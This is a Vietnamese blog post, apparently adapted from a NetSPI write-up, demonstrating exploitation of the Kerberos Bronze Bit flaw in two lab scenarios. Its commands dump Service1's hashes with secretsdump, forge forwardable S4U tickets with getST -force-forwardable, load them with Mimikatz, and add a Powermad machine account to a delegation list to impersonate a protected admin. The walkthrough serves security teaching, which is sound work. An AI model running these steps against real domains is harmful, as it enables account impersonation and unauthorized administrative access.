Lỗ hổng Kerberos Bronze Bit (Phần 2 - Tiến hành khai thác)
A. Tổng quan cách khai thác
1. Kẻ tấn công đã join được vào domain
2. Kẻ tấn công lấy password hash cho dịch vụ (Service1). Có nhiều
các để có thể lấy được hash như DC Sync attacks, Kerberoasting, hoặc tạo tài khoản mới với SPN
thông qua Powermad.
3. Service1 có quan hệ ủy quyền hạn chế với dịch vụ (Service2).
Mối quan hệ này có thể là mọt trong những điều sau:
a. Service1 được cấu hình để ủy quyền hạn chế cho Service2. Nghĩ
là, Service2 nằm trong danh sách “AllowedToDelegateTo” của Service1.
b. Service2 cấu hình để chấp nhận ủy quền hạn chế dựa trên tài
nguyên từ Service1. Nghĩ là, Service1 nằm trong danh sách
“PrincipalsAllowedToDelegateToAccount” của Service 2.
i.
Nếu
kẻ tấn công có quyền ghi (GenericAll, GenericWrite, WriteOwner…) trên Service2
trong AD, kể tấn công có thể thêm Service1 vào danh sách
“PrincipalsAllowedToDelegateToAccount” của Service2. Điều này không yêu cầu quyền
domain admin.
4. Kẻ tấn công lợi dụng Service 1 để gửi yêu cầu lấy service
ticket cho Service2 với tư cách là User2.
5. Kẻ tấn công mạo danh User2 và sử dụng dịch vụ của Service2.
B. Thực hiện khai thác
Khai thác Bronze Bit được phát triển
thêm trong Impacket framework.
Giả sử kẻ tấn công lấy được hash cho
Service1. Service1 có quan hệ ủy quyền hạn chế với Service2. Từ đây kẻ tấn công
tìm cách có quyền truy cập vào Service2 với tư cách là User2
Chương trình getST.py có thể sử dụng để thực hiện các S4U
exchanges và nhận service ticket với tư cách là một người dụng được chỉ định
cho dịch vụ cụ thể. Điều kiện: Service1 được phép chuyển đổi giao thức (cấu
hình bằng “TrustedToAuthForDelegation) và User không được bảo vệ khỏi ủy quyền:
Với service ticket cuối cùng, kẻ tấn
công có thể mạo danh người dùng và tương tác với Service2.
Tuy nhiên, nếu Service1 không được
phép chuyển đổi giao thức hoặc người dụng được bảo vệ khỏi ủy quyền, thì
service ticket có được trong S4U2self exchange sẽ không được forward và yêu cầu
S4U2proxy sẽ không thành công.
Để service ticket có thể forward được
cần phải sửa forwardable flag trong service ticket sau khi trao đổi S4U2self.
Service1 sử dụng long-term key của
mình để giải mã service ticket do KDC trả lại sau khi trao đổi S4U2self rồi
thay đổi giá trị forwardable flag = 1 sau đó mã hóa lại và gửi đi trong quá
trình trao đổi S4U2proxy. Cuối cùng KDC sẽ trả lại service ticket cho Service2
với tư cách là người dùng bị nhắm tới
C. Kịch bản tấn công #1
Khai thác cho phép bỏ qua tính năng bảo
vệ "Trust this user for delegation to specified services only – Use
Kerberos only" và mạo danh người dùng không được phép ủy quyền.
I. Cấu hình môi trường khai thác
- Domain: test.local
- 3 máy chủ chưa cập nhật bản vá trong
đó 1 máy chủ được nâng cấp lên domain controler, 2 máy chủ còn lại sẽ join vào
domain.
- Kẻ tấn công với tư cách là Uesr1 trên
máy chủ Service1. Nhắm mục tiêu là User2 có quyền quản trị trên Service2.
1. Cụ thể cấu hình
- Trên DC, cấu hình Service1 sao cho được
phép ủy quyền hạn chế không cần chuyển đổi giao thức sang Service2.
- Cập nhật User2 để được bảo vệ khỏi ủy
quyền: Cấu hình “Account is sensitive and cannot be delegated” hoặc đặt làm thành viên của nhóm “Protected Users”
o Cấu hình User2 với thuộc tính “Account is sensitive and
cannot be delegated”
o Thêm User2 vào nhóm “Protected Users”
2. Một số cấu hình thêm cần lưu ý
- Chọn Advancde Fratures để hiện thị thêm nhiều thông tin trong phần Properties của một đối tượng
- Trên máy Service1 cần thêm User1 với
quyền administrator, tương tự với Service2 và User2
II. Thực hiện khai thác
1. Đăng nhập vào Service1 với tư các User1. Mở PowerShell với
quyền administrator
- Commands:
o whoami
o ls \\service2.test.local\c$
o .\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe
- Execution:
Xác nhận User1 không thể truy cập trực tiếp vào Service2
2. Lấy hash password của Service1. Sử dụng secretdum.py của
Impacket để lấy mã băm “AES256-CTS-HMAC-SHA1-96” và “LM:NTLM” của Service1
- Commands:
o python .\impacket\examples\secretsdump.py 'test/user1:<user1_password>@Service1.test.local'
- Execution:
3. Thử
thực thi getST.py mà không có tham số -force-forwardable
- Commands:
o .\impacket\examples\getST.py -spn cifs/Service2.test.local
-impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash>
test.local/Service1
- Execution:
Service ticket flag nhận được sau trao đổi S4U2self
là 0 nên sau đó Service ticket sẽ không được gửi đi
4. Thực
thi getST.py như trên nhưng thêm tham số -force-forwardable
- Commands:
o .\impacket\examples\getST.py -spn cifs/Service2.test.local
-impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash>
test.local/Service1 -force-forwardable
- Execution:
Việc khai thác được thực hiện tự động và chuyển đổi
service ticket nhận được từ S4U2self exchange thành một vé có thể chuyển tiếp. Điều này được thực hiện bằng cách giải mã vé
bằng hash của Service1, thay đổi bit thứ hai trong giá trị flag từ 0 thành 1 và
mã hóa lại vé. Vé này được gửi trong
S4U2proxy exchange và một service ticket cho Service2 với tư cách là User2 được
trả lại và ghi ở User2.ccache.
5. Tiếp
theo, sử dụng Mimikatz để tải vé dịch vụ vào bộ nhớ cache để sử dụng. Sau khi được tải, sẽ thấy rằng Mimikatz xác
nhận rằng đây là một vé hợp lệ cho User2 đến dịch vụ của Service2.
- Commands:
o .\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit
- Execution:
6. Với
phiếu dịch vụ được thêm vào bộ nhớ cache của mình, bây giờ kẻ tấn công có thể truy
cập Service2 với tư cách là User2.
D. Kịch bản tấn công #2
I. Cấu hình môi trường
Sử dụng môi trường từ kịch
bản 1, với một số cấu hình thay đổi. Tài khoản User2 (được nhắm mục tiêu) có thể
giữ cấu hình với tư cách là thành viên của nhóm “Protected User” hoặc với thuộc
tính " Account is sensitive and cannot be delegated".
Xóa ủy quyền của
Service1 và cấu hình Service1 thành " Do not trust this computer for
delegation."
Cấu hình Service2. Cấp
quyền ghi (write) cho User1. Mặc dù trực tiếp cấp quyền cho người dùng trên
Service2 nhưng người dùng thường sẽ nhận được quyền ghi đối với một hoặc nhiều
đối tượng khác thông qua tư cách thành viên của các nhóm đặc quyền.
II. Thực hiện khai thác
Đăng nhập vào Service1 với
tư cách User1 (mô phỏng việc kẻ tấn công truy cập được vào mạng). Nếu bắt đầu từ
kịch bản 1 thì phải xóa cache ticket Kerberos (đơn giản nhất là khởi động lại)
Không giống như kịch bản
trước, cuộc tấn công này sẽ không sử dụng bất kỳ quan hệ ủy quyền nào giữa
Service1 và Service2. Mối quan hệ tin cậy
này không còn tồn tại sau khi định cấu hình Service1 với " Do not trust
this computer for delegation." Kẻ tấn
công sẽ cần thiết lập mối quan hệ ủy quyền mới với Service2. Cụ thể tạo ra một
dịch vụ mới và thiết lập ủy quyền dịch vụ đó với Service2.
Để tạo được một dịch vụ
mới trong môi trường, có thể sử dụng Powermad
để tạo một tài khoản máy mới. Việc tạo này không yêu cầu quyền nâng cao và có sẵn
với bất kỳ người dùng nào trong domain. Trong ví dụ này sẽ tạo tài khoản máy là
“AttackerService”
- Commands:
o Import-Module .\Powermad\powermad.ps1
o New-MachineAccount -MachineAccount AttackerService -Password
$(ConvertTo-SecureString '123@qaz' -AsPlainText -Force)
- Execution:
Sau khi chạy xong có thể thấy trong AD có sự xuất hiện
của tài khoản AttackerService
Vì
kể đã chọn mật khẩu cho tài khoản máy mới, ta có thể tính được các hash
password tương ứng một cách dễ dàng với Mimikatz.
- Commands:
o .\mimikatz\mimikatz.exe "kerberos::hash /password:123@qaz
/user:AttackerService /domain:test.local" exit
- Execution:
Có
thể kiểm tra tài khoản mới được tạo bằng mô-đun PowerShell Active Directory. Vì
mô-đun chưa có sẵn, nên sẽ cần phải cài đặt.
- Commands:
o Install-WindowsFeature RSAT-AD-PowerShell
o Import-Module ActiveDirectory
o Get-ADComputer AttackerService
- Execution:
Sau
khi tạo xong tài khoản máy và xác nhận thì cần thiết lập ủy quyền ràng buộc giữa
Service2 và AttackerService. Vì User1 có quyền ghi đối với Service2 nên có thể
thêm AttackerService vào danh sách PrincipalsAllowedToDelegateToAccount của
Service2. Điều này thiết lập ủy quyền ràng buộc dựa trên tài nguyên trên
Service2, chấp nhận ủy quyền bị ràng buộc từ AttackerService
- Commands:
o Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount
AttackerService$
o Get-ADComputer
Service2 -Properties PrincipalsAllowedToDelegateToAccount
- Execution:
Khi đã tạo xong tài khoản
máy và thực hiện ủy quyền thì thực hiện tiếp như kịch bản #1 để lấy service
ticket tới Service2 với tư cách là User2 và được lưu ở User2.ccache
- Commands:
o python .\impacket\examples\getST.py -spn cifs/Service2.test.local
-impersonate User2 -hashes 0577936066c05471f58a581ab6bbe154:0577936066c05471f58a581ab6bbe154
-aesKey bb27ae2e30a69ba4da8a3130257e0871a942636b5643bf4d7193ee82b856cf04
test.local/AttackerService -force-forwardable
- Execution:
Sử
dụng Mimikatz tải service ticket trong cache và mang đi sử dụng cho Service2 với
tư cách là User2
- Commands:
o .\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit
| Out-Null
o ls \\service2.test.local\c$
o .\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe
o whoami
o hostname
- Execution:
Tham khảo: NetSPI Blog
Nhận xét
Đăng nhận xét